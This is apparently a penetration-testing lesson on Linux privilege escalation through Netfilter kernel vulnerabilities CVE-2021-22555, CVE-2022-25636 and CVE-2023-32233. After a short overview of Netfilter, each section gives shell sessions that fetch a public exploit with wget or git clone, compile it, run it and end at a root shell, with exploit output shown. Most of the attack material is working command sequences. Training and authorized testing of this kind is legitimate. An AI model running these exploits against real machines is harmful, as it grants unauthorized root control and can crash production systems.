**Netfilter**

Netfilter is a Linux kernel module that provides, among other things, packet filtering, network address translation, and other tools relevant to firewalls. It controls and regulates network traffic by manipulating individual packets based on their characteristics and rules. Netfilter is also called the software layer in the Linux kernel. When network packets are received and sent, it initiates the execution of other modules such as packet filters. These modules can then intercept and manipulate packets. This includes the programs like iptables and arptables, which serve as action mechanisms of the Netfilter hook system of the IPv4 and IPv6 protocol stack.

This kernel module has three main functions:

1. Packet defragmentation
2. Connection tracking
3. Network address translation (NAT)

When the module is activated, all IP packets are checked by the Netfilter before they are forwarded to the target application of the own or remote system. In 2021 ([CVE-2021-22555](https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555)), 2022 ([CVE-2022-1015](https://github.com/pqlx/CVE-2022-1015)), and also in 2023 ([CVE-2023-32233](https://github.com/Liuk3r/CVE-2023-32233)), several vulnerabilities were found that could lead to privilege escalation.

Many companies have preconfigured Linux distributions adapted to their software applications or vice versa. This gives the developers and administrators, metaphorically speaking, a "dynamic basis" that is difficult to replace. This would require either adapting the system to the software application or adapting the application to the newer system. Depending on the size and complexity of the application, this can take a great deal of time and effort. This is often why so many companies run older and not updated Linux distributions in production.

Even if the company uses virtual machines or containers like Docker, these are built on a specific kernel. The idea of isolating the software application from the existing host system is a good step, but there are many ways to break out of such a container.

**CVE-2021-22555**

Vulnerable kernel versions: 2.6 - 5.11

CVE-2021-22555

cry0l1t3@ubuntu:~$ uname -r

5.10.5-051005-generic

CVE-2021-22555

cry0l1t3@ubuntu:~$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c

cry0l1t3@ubuntu:~$ gcc -m32 -static exploit.c -o exploit

cry0l1t3@ubuntu:~$ ./exploit

[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization

[\*] Setting up namespace sandbox...

[\*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption

[\*] Spraying primary messages...

[\*] Spraying secondary messages...

[\*] Creating holes in primary messages...

[\*] Triggering out-of-bounds write...

[\*] Searching for corrupted primary message...

[+] fake\_idx: fff

[+] real\_idx: fdf

...SNIP...

root@ubuntu:/home/cry0l1t3# id

uid=0(root) gid=0(root) groups=0(root)

**CVE-2022-25636**

A recent vulnerability is [CVE-2022-25636](https://www.cvedetails.com/cve/CVE-2022-25636/) and affects Linux kernel 5.4 through 5.6.10. This is net/netfilter/nf\_dup\_netdev.c, which can grant root privileges to local users due to heap out-of-bounds write. Nick Gregory wrote a very detailed [article](https://nickgregory.me/post/2022/03/12/cve-2022-25636/) about how he discovered this vulnerability.

CVE-2022-25636

cry0l1t3@ubuntu:~$ uname -r

5.13.0-051300-generic

However, we need to be careful with this exploit as it can corrupt the kernel, and a reboot will be required to reaccess the server.

CVE-2022-25636

cry0l1t3@ubuntu:~$ git clone https://github.com/Bonfee/CVE-2022-25636.git

cry0l1t3@ubuntu:~$ cd CVE-2022-25636

cry0l1t3@ubuntu:~$ make

cry0l1t3@ubuntu:~$ ./exploit

[\*] STEP 1: Leak child and parent net\_device

[+] parent net\_device ptr: 0xffff991285dc0000

[+] child net\_device ptr: 0xffff99128e5a9000

[\*] STEP 2: Spray kmalloc-192, overwrite msg\_msg.security ptr and free net\_device

[+] net\_device struct freed

[\*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net\_device

[+] obtained net\_device struct

[\*] STEP 4: Leak kaslr

[\*] kaslr leak: 0xffffffff823093c0

[\*] kaslr base: 0xffffffff80ffefa0

[\*] STEP 5: Release setxattrs, free net\_device, and realloc it again

[+] obtained net\_device struct

[\*] STEP 6: rop :)

# id

uid=0(root) gid=0(root) groups=0(root)

**CVE-2023-32233**

This vulnerability exploits the so called anonymous sets in nf\_tables by using the Use-After-Free vulnerability in the Linux Kernel up to version 6.3.1. These nf\_tables are temprorary workspaces for processing batch requests and once the processing is done, these anonymous sets are supposed to be cleared out (Use-After-Free) so they cannot be used anymore. Due to a mistake in the code, these anonymous sets are not being handled properly and can still be accessed and modified by the program.

The exploitation is done by manipulating the system to use the cleared out anonymous sets to interact with the kernel's memory. By doing so, we can potentially gain root privileges.

**Proof-Of-Concept**

Proof-Of-Concept

cry0l1t3@ubuntu:~$ git clone https://github.com/Liuk3r/CVE-2023-32233

cry0l1t3@ubuntu:~$ cd CVE-2023-32233

cry0l1t3@ubuntu:~/CVE-2023-32233$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl

**Exploitation**

Exploitation

cry0l1t3@ubuntu:~/CVE-2023-32233$ ./exploit

[\*] Netfilter UAF exploit

Using profile:

========

1 race\_set\_slab # {0,1}

1572 race\_set\_elem\_count # k

4000 initial\_sleep # ms

100 race\_lead\_sleep # ms

600 race\_lag\_sleep # ms

100 reuse\_sleep # ms

39d240 free\_percpu # hex

2a8b900 modprobe\_path # hex

23700 nft\_counter\_destroy # hex

347a0 nft\_counter\_ops # hex

a nft\_counter\_destroy\_call\_offset # hex

ffffffff nft\_counter\_destroy\_call\_mask # hex

e8e58948 nft\_counter\_destroy\_call\_check # hex

========

[\*] Checking for available CPUs...

[\*] sched\_getaffinity() => 0 2

[\*] Reserved CPU 0 for PWN Worker

[\*] Started cpu\_spinning\_loop() on CPU 1

[\*] Started cpu\_spinning\_loop() on CPU 2

[\*] Started cpu\_spinning\_loop() on CPU 3

[\*] Creating "/tmp/modprobe"...

[\*] Creating "/tmp/trigger"...

[\*] Updating setgroups...

[\*] Updating uid\_map...

[\*] Updating gid\_map...

[\*] Signaling PWN Worker...

[\*] Waiting for PWN Worker...

...SNIP...

[\*] You've Got ROOT:-)

# id

uid=0(root) gid=0(root) groups=0(root)

Please keep in mind that these exploits can be very unstable and can break the system.